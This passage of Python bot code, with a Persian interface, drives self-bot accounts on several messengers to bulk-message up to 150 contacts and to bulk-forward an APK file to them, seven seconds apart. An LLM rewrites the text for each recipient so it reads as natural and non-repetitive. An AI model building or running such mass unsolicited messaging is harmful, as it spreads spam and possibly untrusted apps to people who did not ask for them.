                    f"#{row['id']} — {trx._mask_phone(row['phone']) if row['phone'] else '—'}",
                    f"{BULK_PREFIX}acc:{int(row['id'])}:{platform}",
                    "primary",
                )])
            buttons.append([("↩️ بازگشت", "ai.bulk.contacts", "primary")])
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.menu(f"اکانت {_platform_label(platform, lang)}", ["یک اکانت را انتخاب کن"]),
                _IKB(buttons),
            )

        if data_s.startswith(f"{BULK_PREFIX}acc:"):
            aid, platform = _trxj_parse_account_callback(data_s, BULK_PREFIX)
            ctx = _trxj_validate_account(uid, aid, platform) if aid is not None else None
            if not ctx:
                trx.state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ اکانت یا پلتفرم نامعتبر است. دوباره انتخاب کن.",
                    trx.ai_advanced_menu(lang, uid),
                )
            trx.state.pop(uid)
            trx.state.set(
                uid,
                "trxq11bulk_count",
                account_id=int(aid),
                platform=platform,
                service=platform,
                count=None,
                message=None,
            )
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.wizard("پیام به مخاطبین", "مرحله ۱ از ۳", "تعداد مخاطبین را بفرست (۱ تا ۱۵۰)", "عدد را بفرست"),
                _IKB([[('❌ لغو', 'cancel', 'danger')]]),
            )

        if data_s == f"{BULK_PREFIX}confirm":
            state_row = trx.state.get(uid)
            if not state_row or state_row.get("state") != "trxq11bulk_confirm":
                return await _safe_edit(chat_id, msg_id, "❌ این تأیید منقضی شده. از منوی AI دوباره شروع کن.", trx.ai_advanced_menu(lang, uid))
            try:
                count = int(_norm_digits(str(state_row.get("count") or "")))
            except Exception:
                count = 0
            if count < 1 or count > 150:
                trx.state.pop(uid)
                return await _safe_edit(chat_id, msg_id, "❌ تعداد نامعتبر است. از اول شروع کن.", trx.ai_advanced_menu(lang, uid))
            aid = int(state_row["account_id"])
            platform = str(state_row["platform"])
            if not _trxj_validate_account(uid, aid, platform):
                trx.state.pop(uid)
                return await _safe_edit(chat_id, msg_id, "❌ اکانت انتخاب‌شده دیگر فعال نیست.", trx.ai_advanced_menu(lang, uid))
            message = str(state_row.get("message") or "").strip()
            contacts, available = await _trxq11bulk_get_contacts(uid, aid, platform, count)
            if not contacts:
                trx.state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    TRX_UI_STYLE.error("مخاطبی پیدا نشد", "مخاطبین وقتی ثبت می‌شوند که این اکانت با آنها پیام داشته باشد"),
                    trx.ai_advanced_menu(lang, uid),
                )
            note = f"فقط {len(contacts)} نفر از {count} درخواستی موجود بود" if available < count else f"تعداد درخواستی: {count}"
            trx.state.pop(uid)
            batch_id = f"bulk-{uid}-{aid}-{int(time.time())}"
            await _safe_edit(
                chat_id,
                msg_id,
                TRX_UI_STYLE.confirm(
                    "ارسال",
                    [f"{note}", f"پلتفرم: {_platform_label(platform, lang)}", f"اکانت: #{aid}"],
                    "ارسال به ترتیب با فاصله ۷ ثانیه انجام می‌شود",
                ).replace("مطمئنی می‌خوای ادامه بدی؟", "⏳ ارسال شروع شد..."),
                _IKB([[('↩️ بازگشت', 'ai', 'primary')]]),
            )
            _create_task(_trxq11bulk_worker(uid, aid, platform, message, contacts, batch_id, chat_id, lang))
            return

    except Exception as exc:
        _LOG_ERR(f"[TRX_J][bulk_dispatch] {_mask(str(exc))}")
        try:
            trx.state.pop(uid)
        except Exception:
            pass
        return await _safe_edit(chat_id, msg_id, "⚠️ خطایی رخ داد. از منوی AI دوباره شروع کن.", trx.ai_advanced_menu(lang, uid))
    return None


async def _trxq11bulk_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if not uid or not txt or txt.startswith("/"):
        return None
    state_row = trx.state.get(uid)
    if not state_row or state_row.get("state") not in ("trxq11bulk_count", "trxq11bulk_text"):
        return None
    try:
        if state_row.get("state") == "trxq11bulk_count":
            digits = _norm_digits(txt)
            if not digits.isdigit():
                return await _BOT().send(chat_id, "❌ فقط عدد ۱ تا ۱۵۰ بفرست.")
            count = int(digits)
            if count < 1 or count > 150:
                return await _BOT().send(chat_id, "❌ عدد باید بین ۱ تا ۱۵۰ باشد.")
            trx.state.set(
                uid,
                "trxq11bulk_text",
                account_id=int(state_row["account_id"]),
                platform=str(state_row["platform"]),
                count=count,
                message=None,
            )
            return await _BOT().send(
                chat_id,
                TRX_UI_STYLE.wizard("پیام به مخاطبین", "مرحله ۲ از ۳", "متن پیام را بفرست", "برای هر مخاطب متن متفاوت با AI ساخته می‌شود"),
                reply_markup=_IKB([[('❌ لغو', 'cancel', 'danger')]]),
            )

        count = int(state_row.get("count") or 0)
        if count < 1 or count > 150:
            trx.state.pop(uid)
            return await _BOT().send(chat_id, "❌ تعداد قبلی معتبر نیست؛ دوباره از منوی AI شروع کن.")
        trx.state.set(
            uid,
            "trxq11bulk_confirm",
            account_id=int(state_row["account_id"]),
            platform=str(state_row["platform"]),
            count=count,
            message=txt,
        )
        return await _BOT().send(
            chat_id,
            TRX_UI_STYLE.confirm(
                "ارسال",
                [f"تعداد مخاطبین: {count}", f"پلتفرم: {_platform_label(state_row['platform'], trx.get_lang(uid) or 'fa')}"],
                "AI متن را برای هر مخاطب شخصی‌سازی می‌کند",
            ),
            reply_markup=_IKB([
                [("✅ تأیید", f"{BULK_PREFIX}confirm", "success"), ("❌ لغو", "cancel", "danger")],
            ]),
        )
    except Exception as exc:
        trx.state.pop(uid)
        _LOG_ERR(f"[TRX_J][bulk_on_msg] {_mask(str(exc))}")
        return await _BOT().send(chat_id, "⚠️ خطا. از منوی AI دوباره شروع کن.")


# ---------------------------------------------------------------------------
# 3) APK SEND — fix account parser + native multi-platform forward
# ---------------------------------------------------------------------------

async def _apkfix_do_forward(client, source_peer, source_id, dest, platform):
    """Forward source message using per-platform argument order and kwargs."""
    platform = str(platform or "").strip().lower()
    failures = []
    if platform not in ALL_PLATFORMS:
        return False, "پلتفرم نامعتبر است"

    try:
        d_dest = await _resolve_target(client, dest)
    except Exception:
        d_dest = dest
    try:
        s_peer = await _resolve_target(client, source_peer)
    except Exception:
        s_peer = source_peer
    try:
        sid_int = int(str(source_id))
    except Exception:
        sid_int = source_id

    variants = []
    if platform == "rubika":
        variants = [
            ("forward_messages", (s_peer, d_dest, [sid_int]), {}),
            ("forward_messages", (source_peer, d_dest, [sid_int]), {}),
            ("forward_messages", (s_peer, dest, [sid_int]), {}),
            ("forward_messages", (s_peer, d_dest), {"message_ids": [sid_int]}),
        ]
    elif platform == "telegram":
        variants = [
            ("forward_messages", (d_dest, [sid_int], s_peer), {}),
            ("forward_messages", (d_dest, sid_int, s_peer), {}),
            ("forward_messages", (d_dest, [sid_int]), {"from_peer": s_peer}),
            ("forward_messages", (d_dest,), {"messages": [sid_int], "from_peer": s_peer}),
        ]
    elif platform == "soroush":
        variants = [
            ("forward_messages", (d_dest, [sid_int], s_peer), {}),
            ("forward_messages", (d_dest, sid_int, s_peer), {}),
            ("forward_messages", (d_dest,), {"messages": [sid_int], "from_peer": s_peer}),
            ("forward_messages", (d_dest,), {"message": sid_int, "from_peer": s_peer}),
            ("forward_message", (d_dest, sid_int, s_peer), {}),
        ]
    elif platform == "bale":
        variants = [
            ("forward_messages", (d_dest, s_peer, [sid_int]), {}),
            ("forward_messages", (d_dest, [sid_int], s_peer), {}),
            ("forward_messages", (d_dest,), {"message_ids": [sid_int], "from_peer": s_peer}),
            ("forward_messages", (d_dest,), {"messages": [sid_int], "from_": s_peer}),
            ("forward_message", (d_dest, sid_int, s_peer), {}),
        ]
    else:  # shad
        variants = [
            ("forward_messages", (d_dest, [sid_int]), {}),
            ("forward_messages", (d_dest, sid_int), {}),
            ("forward_messages", (d_dest,), {"messages": [sid_int]}),
            ("forward_message", (d_dest, sid_int), {}),
        ]

    for name, args, kwargs in variants:
        fn = getattr(client, name, None)
        if not callable(fn):
            continue
        try:
            result = fn(*args, **kwargs)
            if asyncio.iscoroutine(result):
                result = await result
            return True, result
        except TypeError as exc:
            failures.append(f"{name}/TypeError: {str(exc)[:120]}")
        except Exception as exc:
            failures.append(f"{name}/{type(exc).__name__}: {str(exc)[:120]}")
    return False, " | ".join(failures[-6:])[:1000] or "native forward unavailable"


async def _apkfix_get_contacts(uid, aid, platform, count):
    return await _trxq11bulk_get_contacts(uid, aid, platform, count)


async def _apkfix_send_apk_to_peer(client, platform, source_peer, source_id, dest):
    return await _apkfix_do_forward(client, source_peer, source_id, dest, platform)


async def _apkfix_worker(uid, aid, platform, apk_id, peers, text_mode, base_text, batch_id, chat_id, lang):
    sent = 0
    failed = 0
    total = len(peers)
    client = trx.ai_live_clients.get((uid, int(aid)))
    if client is None:
        try:
            client = await trx._ensure_ai_client(uid, int(aid))
        except Exception:
            client = None
    try:
        source = _DB().fetchone(
            "SELECT af.id,src.account_id AS source_aid,src.platform,src.source_peer,src.source_message_id "
            "FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
            "WHERE af.id=? AND af.user_id=? AND af.enabled=1 LIMIT 1",
            (int(apk_id), int(uid)),
        )
    except Exception:
        source = None
    if not source:
        return await _BOT().send(chat_id, "❌ منبع APK پیدا نشد.", reply_markup=trx.ai_advanced_menu(lang, uid))
    if int(source["source_aid"] or 0) != int(aid) or str(source["platform"] or "").lower() != str(platform).lower():
        return await _BOT().send(chat_id, "❌ منبع APK با اکانت/پلتفرم انتخاب‌شده یکی نیست.", reply_markup=trx.ai_advanced_menu(lang, uid))
    source_peer = str(source["source_peer"] or "")
    source_id = str(source["source_message_id"] or "")

    for idx, peer in enumerate(list(peers)):
        ok = False
        unique = ""
        try:
            if client is None:
                raise RuntimeError("self-bot account unavailable")
            ok, info = await _apkfix_send_apk_to_peer(client, platform, source_peer, source_id, peer)
            if not ok:
                raise RuntimeError(str(info)[:500])
            if text_mode in ("ai", "static") and str(base_text).strip():
                if text_mode == "ai":
                    sys_prompt = _trxj_ai_system(
                        uid, aid, "apk_bulk_pv",
                        f"Platform={platform}. Peer={peer}. UserText={base_text}. "
                        "متن کوتاه، طبیعی، غیرتکراری و مرتبط با APK بنویس.",
                    )
                    mem = _memory_load(uid, aid, str(peer), 6)
                    unique = await _AI().chat(
                        [{"role": "system", "content": sys_prompt}]
                        + mem
                        + [{"role": "user", "content": f"متن پایه:\n{base_text}"}],
                        uid=uid, account_id=aid,
                        action_type="apk_bulk_pv", temperature=0.85, max_tokens=220,
                    )
                    unique = _cleanup_caption(unique or base_text)
                else:
                    unique = _cleanup_caption(base_text)
                if unique:
                    send = getattr(client, "send_message", None)
                    if callable(send):
                        result = send(peer, unique)
                        if asyncio.iscoroutine(result):
                            await result
            sent += 1
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            failed += 1
            _LOG_WARN(f"[TRX_J][apk] peer={peer} fail: {_mask(str(exc))}")
        try:
            _DB().execute(
                "INSERT INTO trx222b_apk_send_log(user_id,account_id,platform,peer_id,apk_id,success,batch_id,created_at) "
                "VALUES(?,?,?,?,?,?,?,?)",
                (uid, aid, platform, str(peer), int(apk_id), 1 if ok else 0, batch_id, trx.now()),
            )
        except Exception:
            pass
        if idx < total - 1:
            await asyncio.sleep(7)
    try:
        await _BOT().send(
            chat_id,
            TRX_UI_STYLE.report(
                "گزارش ارسال APK",
                {"موفق": sent, "ناموفق": failed, "کل": total, "پلتفرم": _platform_label(platform, lang)},
            ),
            reply_markup=trx.ai_advanced_menu(lang, uid),
        )
    except Exception:
        pass


async def _apkfix_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if not data_s.startswith(APKFIX_PREFIX):
        return None
    await _safe_answer(cb_id)
    try:
        if data_s == f"{APKFIX_PREFIX}start":
            trx.state.pop(uid)
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.menu("ارسال APK", ["پلتفرم را انتخاب کن"]),
                _IKB([
                    [("🔵 روبیکا", f"{APKFIX_PREFIX}plat:rubika", "primary"), ("🔴 سروش پلاس", f"{APKFIX_PREFIX}plat:soroush", "danger")],
                    [("🟡 بله", f"{APKFIX_PREFIX}plat:bale", "primary"), ("🟦 تلگرام", f"{APKFIX_PREFIX}plat:telegram", "primary")],
                    [("🟩 شاد", f"{APKFIX_PREFIX}plat:shad", "success")],
                    [("↩️ بازگشت", "ai", "primary")],
                ]),
            )
        if data_s.startswith(f"{APKFIX_PREFIX}plat:"):
            platform = data_s.split(":", 1)[1].strip().lower()
            if platform not in ALL_PLATFORMS:
                return await _safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.", trx.ai_advanced_menu(lang, uid))
            rows = _DB().fetchall(
                "SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",
                (uid, platform),
            )
            buttons = [[(
                f"#{r['id']} — {trx._mask_phone(r['phone']) if r['phone'] else '—'}",
                f"{APKFIX_PREFIX}acc:{int(r['id'])}:{platform}",
                "primary",
            )] for r in rows]
            buttons.append([("↩️ بازگشت", f"{APKFIX_PREFIX}start", "primary")])
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu(f"اکانت {_platform_label(platform, lang)}", ["یک اکانت را انتخاب کن"]), _IKB(buttons))

        if data_s.startswith(f"{APKFIX_PREFIX}acc:"):
            aid, platform = _trxj_parse_account_callback(data_s, APKFIX_PREFIX)
            if aid is None or not _trxj_validate_account(uid, aid, platform):
                trx.state.pop(uid)
                return await _safe_edit(chat_id, msg_id, "❌ اکانت یا پلتفرم نامعتبر است.", trx.ai_advanced_menu(lang, uid))
            trx.state.pop(uid)
            trx.state.set(uid, "apkfix_link", account_id=int(aid), platform=platform, service=platform)
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.wizard("ارسال APK", "مرحله ۱ از ۵", "لینک مستقیم پیام APK را بفرست", "لینک خود پیام باشد، نه لینک دعوت"),
                _IKB([[('❌ لغو', f"{APKFIX_PREFIX}cancel", 'danger')]]),
            )

        if data_s.startswith(f"{APKFIX_PREFIX}textmode:"):
            mode = data_s.split(":", 1)[1].strip().lower()
            if mode not in ("ai", "static", "none"):
                return await _safe_edit(chat_id, msg_id, "❌ حالت نامعتبر.", trx.ai_advanced_menu(lang, uid))
            s = trx.state.get(uid)
            if not s or s.get("state") != "apkfix_textmode":
                return await _safe_edit(chat_id, msg_id, "❌ این مرحله منقضی شده. از اول شروع کن.", trx.ai_advanced_menu(lang, uid))
            if mode == "none":
                trx.state.set(uid, "apkfix_confirm", account_id=s["account_id"], platform=s["platform"], apk_id=s["apk_id"], count=s["count"], text_mode="none", base_text="")
                return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.confirm("ارسال APK", [f"تعداد: {s['count']}", f"پلتفرم: {_platform_label(s['platform'], lang)}", "فقط فوروارد بدون متن"]), _IKB([[("✅ تأیید", f"{APKFIX_PREFIX}confirm", "success"), ("❌ لغو", f"{APKFIX_PREFIX}cancel", "danger")]]))
            trx.state.set(uid, "apkfix_text", account_id=s["account_id"], platform=s["platform"], apk_id=s["apk_id"], count=s["count"], text_mode=mode)
            prompt = "پرامپت/متن پایه را بفرست" if mode == "ai" else "متن یکسانی که برای همه ارسال می‌شود را بفرست"
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.wizard("ارسال APK", "مرحله ۴ از ۵", prompt, "بعد از دریافت، پیش‌نمایش و تأیید می‌گیریم"), _IKB([[('❌ لغو', f"{APKFIX_PREFIX}cancel", 'danger')]]))

        if data_s == f"{APKFIX_PREFIX}confirm":
            s = trx.state.get(uid)
            if not s or s.get("state") != "apkfix_confirm":
                return await _safe_edit(chat_id, msg_id, "❌ این تأیید منقضی شده.", trx.ai_advanced_menu(lang, uid))
            count = int(s.get("count") or 0)
            aid = int(s.get("account_id") or 0)
            platform = str(s.get("platform") or "").lower()
            apk_id = int(s.get("apk_id") or 0)
            if count < 1 or count > 150 or apk_id < 1 or not _trxj_validate_account(uid, aid, platform):
                trx.state.pop(uid)
                return await _safe_edit(chat_id, msg_id, "❌ اطلاعات ارسال معتبر نیست. از اول شروع کن.", trx.ai_advanced_menu(lang, uid))
            peers, available = await _apkfix_get_contacts(uid, aid, platform, count)
            if not peers:
                trx.state.pop(uid)
                return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.error("هیچ مخاطبی پیدا نشد", "مخاطبین با تعامل اکانت ثبت می‌شوند"), trx.ai_advanced_menu(lang, uid))
            trx.state.pop(uid)
            note = f"فقط {len(peers)} نفر از {count} درخواستی موجود بود" if available < count else f"تعداد: {count}"
            batch_id = f"apkfix-{uid}-{aid}-{int(time.time())}"
            await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.confirm("ارسال APK", [note, f"پلتفرم: {_platform_label(platform, lang)}", f"اکانت: #{aid}"], "ارسال با فاصله ۷ ثانیه انجام می‌شود").replace("مطمئنی می‌خوای ادامه بدی؟", "⏳ شروع شد..."), _IKB([[("↩️ بازگشت", "ai", "primary")]]))
            _create_task(_apkfix_worker(uid, aid, platform, apk_id, peers, s.get("text_mode") or "none", s.get("base_text") or "", batch_id, chat_id, lang))
            return

        if data_s == f"{APKFIX_PREFIX}cancel":
            trx.state.pop(uid)
            return await _safe_edit(chat_id, msg_id, "❌ لغو شد.", trx.ai_advanced_menu(lang, uid))
    except Exception as exc:
        _LOG_ERR(f"[TRX_J][apk_dispatch] {_mask(str(exc))}")
        trx.state.pop(uid)
        return await _safe_edit(chat_id, msg_id, "⚠️ خطای موقت. از منوی AI دوباره شروع کن.", trx.ai_advanced_menu(lang, uid))
    return None


async def _apkfix_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if not uid or not txt:
        return None
    s = trx.state.get(uid)
    if not s or not str(s.get("state") or "").startswith("apkfix_"):
        return None
    try:
        st = s["state"]
        if txt == "/done":
            return None
        if st == "apkfix_link":
            ok, info, row = await _trx01_save_apk_link(uid, int(s["account_id"]), s["platform"], txt)
            if not ok:
                return await _BOT().send(chat_id, f"❌ {info}")
            trx.state.set(uid, "apkfix_count", account_id=int(s["account_id"]), platform=s["platform"], apk_id=int(row.get("apk_id") or row.get("id") or 0))
            return await _BOT().send(chat_id, TRX_UI_STYLE.wizard("ارسال APK", "مرحله ۲ از ۵", "چند نفر APK بگیرند؟ (۱ تا ۱۵۰)", "عدد را بفرست"), reply_markup=_IKB([[('❌ لغو', f"{APKFIX_PREFIX}cancel", 'danger')]]))
        if st == "apkfix_count":
            digits = _norm_digits(txt)
            if not digits.isdigit() or not 1 <= int(digits) <= 150:
                return await _BOT().send(chat_id, "❌ عدد باید بین ۱ تا ۱۵۰ باشد.")
            trx.state.set(uid, "apkfix_textmode", account_id=int(s["account_id"]), platform=s["platform"], apk_id=int(s["apk_id"]), count=int(digits))
            return await _BOT().send(chat_id, TRX_UI_STYLE.menu("ارسال APK", ["نوع ارسال را انتخاب کن"]), reply_markup=_IKB([
                [("🤖 متن هوشمند برای هر نفر", f"{APKFIX_PREFIX}textmode:ai", "primary")],
                [("📄 متن دلخواه یکسان", f"{APKFIX_PREFIX}textmode:static", "primary")],
                [("📎 فقط فوروارد بدون متن", f"{APKFIX_PREFIX}textmode:none", "primary")],
                [("❌ لغو", f"{APKFIX_PREFIX}cancel", "danger")],
            ]))
        if st == "apkfix_text":
            mode = s.get("text_mode") or "static"
            trx.state.set(uid, "apkfix_confirm", account_id=int(s["account_id"]), platform=s["platform"], apk_id=int(s["apk_id"]), count=int(s["count"]), text_mode=mode, base_text=txt)
            return await _BOT().send(chat_id, TRX_UI_STYLE.confirm("ارسال APK", [f"تعداد: {s['count']}", f"پلتفرم: {_platform_label(s['platform'], trx.get_lang(uid) or 'fa')}", f"حالت: {'هوشمند' if mode == 'ai' else 'یکسان'}"], "بعد از تأیید ارسال شروع می‌شود"), reply_markup=_IKB([[("✅ تأیید", f"{APKFIX_PREFIX}confirm", "success"), ("❌ لغو", f"{APKFIX_PREFIX}cancel", "danger")]]))
    except Exception as exc:
        trx.state.pop(uid)
        _LOG_ERR(f"[TRX_J][apk_on_msg] {_mask(str(exc))}")
        return await _BOT().send(chat_id, "⚠️ خطا. از منوی AI دوباره شروع کن.")
    return None


# ---------------------------------------------------------------------------
# 4) GALLERY PHOTO — definitive parser and source-message validation
# ---------------------------------------------------------------------------

async def _gallery_save_photo(uid, aid, platform, photo_index, photo_link):
    try:
        ok_link, err, mid, hint = trx._trx01_validate_apk_link(platform, photo_link)
        if not ok_link:
            return False, err or "لینک نامعتبر", None
        if int(photo_index) < 1 or int(photo_index) > GALLERY_MAX_PHOTOS:
            return False, f"حداکثر {GALLERY_MAX_PHOTOS} عکس مجاز است.", None
        client = trx.ai_live_clients.get((uid, int(aid))) or await trx._ensure_ai_client(uid, int(aid))
        if client is None:
            return False, "اکانت در دسترس نیست.", None
        msg_obj = None
        try:
            msg_obj, real_peer = await trx._trx115_get_message_final(client, hint or "", int(mid))
        except Exception:
            real_peer = hint or ""
        if msg_obj is None:
            return False, "پیام عکس از روی لینک پیدا نشد.", None
        has_photo = bool(getattr(msg_obj, "photo", None))
        if not has_photo:
            media = getattr(msg_obj, "media", None)
            if media is not None and not getattr(msg_obj, "video", None) and not getattr(msg_obj, "document", None):
                has_photo = True
        if isinstance(msg_obj, dict):
            media = msg_obj.get("photo") or msg_obj.get("media")
            has_photo = bool(media) and not bool(msg_obj.get("video") or msg_obj.get("document"))
        if not has_photo:
            return False, "پیام منبع عکس ندارد.", None
        source_peer = str(real_peer or hint or "")
        _DB().execute(
            "INSERT OR REPLACE INTO trx_apk_gallery(user_id,account_id,platform,photo_index,source_peer,source_message_id,photo_link,created_at) VALUES(?,?,?,?,?,?,?,?)",
            (int(uid), int(aid), str(platform), int(photo_index), source_peer, str(mid), str(photo_link), trx.now()),
        )
        return True, "ثبت شد", {
            "user_id": int(uid), "account_id": int(aid), "platform": str(platform),
            "photo_index": int(photo_index), "source_peer": source_peer,
            "source_message_id": str(mid), "photo_link": str(photo_link),
        }
    except Exception as exc:
        return False, f"ذخیره عکس ناموفق: {_mask(str(exc))[:250]}", None


async def _gallery_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if not data_s.startswith(GALLERY_PREFIX):
        return None
    await _safe_answer(cb_id)
    try:
        if data_s == f"{GALLERY_PREFIX}start":
            trx.state.pop(uid)
            # Keep the existing gallery workflow but make video management visible.
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.menu(
                    "گالری APK",
                    [
                        "عکس ۱: ✓ / خالی",
                        "عکس ۲: ✓ / خالی",
                        "ویدیو آموزشی: ✓ / خالی",
                    ],
                ),
                _IKB([
                    [("🖼 افزودن عکس", f"{GALLERY_PREFIX}start.photo", "primary"),
                     ("🎬 افزودن ویدیو", f"{GVIDEO_PREFIX}start", "primary")],
                    [("🗑 حذف ویدیو", f"{GVIDEO_PREFIX}remove", "danger")],
                    [("↩️ بازگشت", "ai", "primary")],
                ]),
            )

        if data_s == f"{GALLERY_PREFIX}start.photo":
            trx.state.pop(uid)
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("گالری APK", ["اول پلتفرم را انتخاب کن"]), _IKB([
                [("🔵 روبیکا", f"{GALLERY_PREFIX}plat:rubika", "primary"), ("🔴 سروش پلاس", f"{GALLERY_PREFIX}plat:soroush", "danger")],
                [("🟡 بله", f"{GALLERY_PREFIX}plat:bale", "primary"), ("🟦 تلگرام", f"{GALLERY_PREFIX}plat:telegram", "primary")],
                [("🟩 شاد", f"{GALLERY_PREFIX}plat:shad", "success")],
                [("↩️ بازگشت", "ai", "primary")],
            ]))

        if data_s.startswith(f"{GALLERY_PREFIX}plat:"):
            platform = data_s.split(":", 1)[1].strip().lower()
            if platform not in ALL_PLATFORMS:
                return await _safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.", trx.ai_advanced_menu(lang, uid))
            rows = _DB().fetchall("SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC", (uid, platform))
            buttons = [[(f"#{r['id']} — {trx._mask_phone(r['phone']) if r['phone'] else '—'}", f"{GALLERY_PREFIX}acc:{int(r['id'])}:{platform}", "primary")] for r in rows]
            buttons.append([("↩️ بازگشت", f"{GALLERY_PREFIX}start.photo", "primary")])
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu(f"اکانت {_platform_label(platform, lang)}", ["یک اکانت را انتخاب کن"]), _IKB(buttons))

        if data_s.startswith(f"{GALLERY_PREFIX}acc:"):
            aid, platform = _trxj_parse_account_callback(data_s, GALLERY_PREFIX)
            if aid is None or not _trxj_validate_account(uid, aid, platform):
                trx.state.pop(uid)
                return await _safe_edit(chat_id, msg_id, "❌ اکانت یا پلتفرم نامعتبر است.", trx.ai_advanced_menu(lang, uid))
            trx.state.pop(uid)
            trx.state.set(uid, "apkgallery_link1", account_id=int(aid), platform=platform)
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.wizard("گالری APK", "مرحله ۱ از ۲", f"لینک مستقیم عکس اول را از {_platform_label(platform, lang)} بفرست", "عکس دوم اختیاری است؛ /done برای پایان"), _IKB([[('❌ لغو', 'cancel', 'danger')]]))

        if data_s.startswith(f"{GALLERY_PREFIX}remove:"):
            idx = int(data_s.split(":", 1)[1])
            _DB().execute("DELETE FROM trx_apk_gallery WHERE user_id=? AND photo_index=?", (uid, idx))
            return await _safe_edit(chat_id, msg_id, "✓ حذف شد.", trx.ai_advanced_menu(lang, uid))

        if data_s == f"{GALLERY_PREFIX}cancel":
            trx.state.pop(uid)
            return await _safe_edit(chat_id, msg_id, "❌ لغو شد.", trx.ai_advanced_menu(lang, uid))
    except Exception as exc:
        trx.state.pop(uid)
        _LOG_ERR(f"[TRX_J][gallery_dispatch] {_mask(str(exc))}")
        return await _safe_edit(chat_id, msg_id, "⚠️ خطا در گالری. دوباره شروع کن.", trx.ai_advanced_menu(lang, uid))
    return None


# ---------------------------------------------------------------------------
# 5) GALLERY VIDEO — complete UI + validation + remove callback
# ---------------------------------------------------------------------------

async def _gvideo_save(uid, aid, platform, video_link):
    try:
        ok, err, mid, hint = trx._trx01_validate_apk_link(platform, video_link)
        if not ok:
            return False, err or "لینک نامعتبر", None
        client = trx.ai_live_clients.get((uid, int(aid))) or await trx._ensure_ai_client(uid, int(aid))
        if client is None:
            return False, "اکانت در دسترس نیست.", None
        msg_obj, real_peer = await trx._trx115_get_message_final(client, hint or "", int(mid))
        if msg_obj is None:
            return False, "پیام ویدیو پیدا نشد.", None
        has_video = bool(getattr(msg_obj, "video", None))
        media = getattr(msg_obj, "media", None)
        if media is not None:
            mime = str(getattr(getattr(media, "document", media), "mime_type", "") or "").lower()
            has_video = has_video or mime.startswith("video/")
        if isinstance(msg_obj, dict):
            has_video = has_video or bool(msg_obj.get("video"))
            doc = msg_obj.get("document") or {}
            if isinstance(doc, dict) and str(doc.get("mime_type") or "").lower().startswith("video/"):
                has_video = True
        if not has_video:
            return False, "پیام منبع ویدیو ندارد.", None
        source_peer = str(real_peer or hint or "")
        _DB().execute(
            "INSERT OR REPLACE INTO trx_apk_gallery_video(user_id,account_id,platform,source_peer,source_message_id,video_link,created_at) VALUES(?,?,?,?,?,?,?)",
            (uid, aid, platform, source_peer, str(mid), str(video_link), trx.now()),
        )
        return True, "ثبت شد", {"source_peer": source_peer, "source_message_id": str(mid)}
    except Exception as exc:
        return False, f"ذخیره ویدیو ناموفق: {_mask(str(exc))[:250]}", None


async def _gvideo_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if not data_s.startswith(GVIDEO_PREFIX):
        return None
    await _safe_answer(cb_id)
    try:
        if data_s == f"{GVIDEO_PREFIX}start":
            trx.state.pop(uid)
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("ویدیو گالری", ["اول پلتفرم را انتخاب کن"]), _IKB([
                [("🔵 روبیکا", f"{GVIDEO_PREFIX}plat:rubika", "primary"), ("🔴 سروش پلاس", f"{GVIDEO_PREFIX}plat:soroush", "danger")],
                [("🟡 بله", f"{GVIDEO_PREFIX}plat:bale", "primary"), ("🟦 تلگرام", f"{GVIDEO_PREFIX}plat:telegram", "primary")],
                [("🟩 شاد", f"{GVIDEO_PREFIX}plat:shad", "success")],
                [("↩️ بازگشت", f"{GALLERY_PREFIX}start", "primary")],
            ]))
        if data_s.startswith(f"{GVIDEO_PREFIX}plat:"):
            platform = data_s.split(":", 1)[1].strip().lower()
            if platform not in ALL_PLATFORMS:
                return await _safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.", trx.ai_advanced_menu(lang, uid))
            rows = _DB().fetchall("SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC", (uid, platform))
            buttons = [[(f"#{r['id']} — {trx._mask_phone(r['phone']) if r['phone'] else '—'}", f"{GVIDEO_PREFIX}acc:{int(r['id'])}:{platform}", "primary")] for r in rows]
            buttons.append([("↩️ بازگشت", f"{GVIDEO_PREFIX}start", "primary")])
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu(f"اکانت {_platform_label(platform, lang)}", ["یک اکانت را انتخاب کن"]), _IKB(buttons))
        if data_s.startswith(f"{GVIDEO_PREFIX}acc:"):
            aid, platform = _trxj_parse_account_callback(data_s, GVIDEO_PREFIX)
            if aid is None or not _trxj_validate_account(uid, aid, platform):
                trx.state.pop(uid)
                return await _safe_edit(chat_id, msg_id, "❌ اکانت یا پلتفرم نامعتبر است.", trx.ai_advanced_menu(lang, uid))
            trx.state.pop(uid)
            trx.state.set(uid, "apkgallery_video", account_id=int(aid), platform=platform)
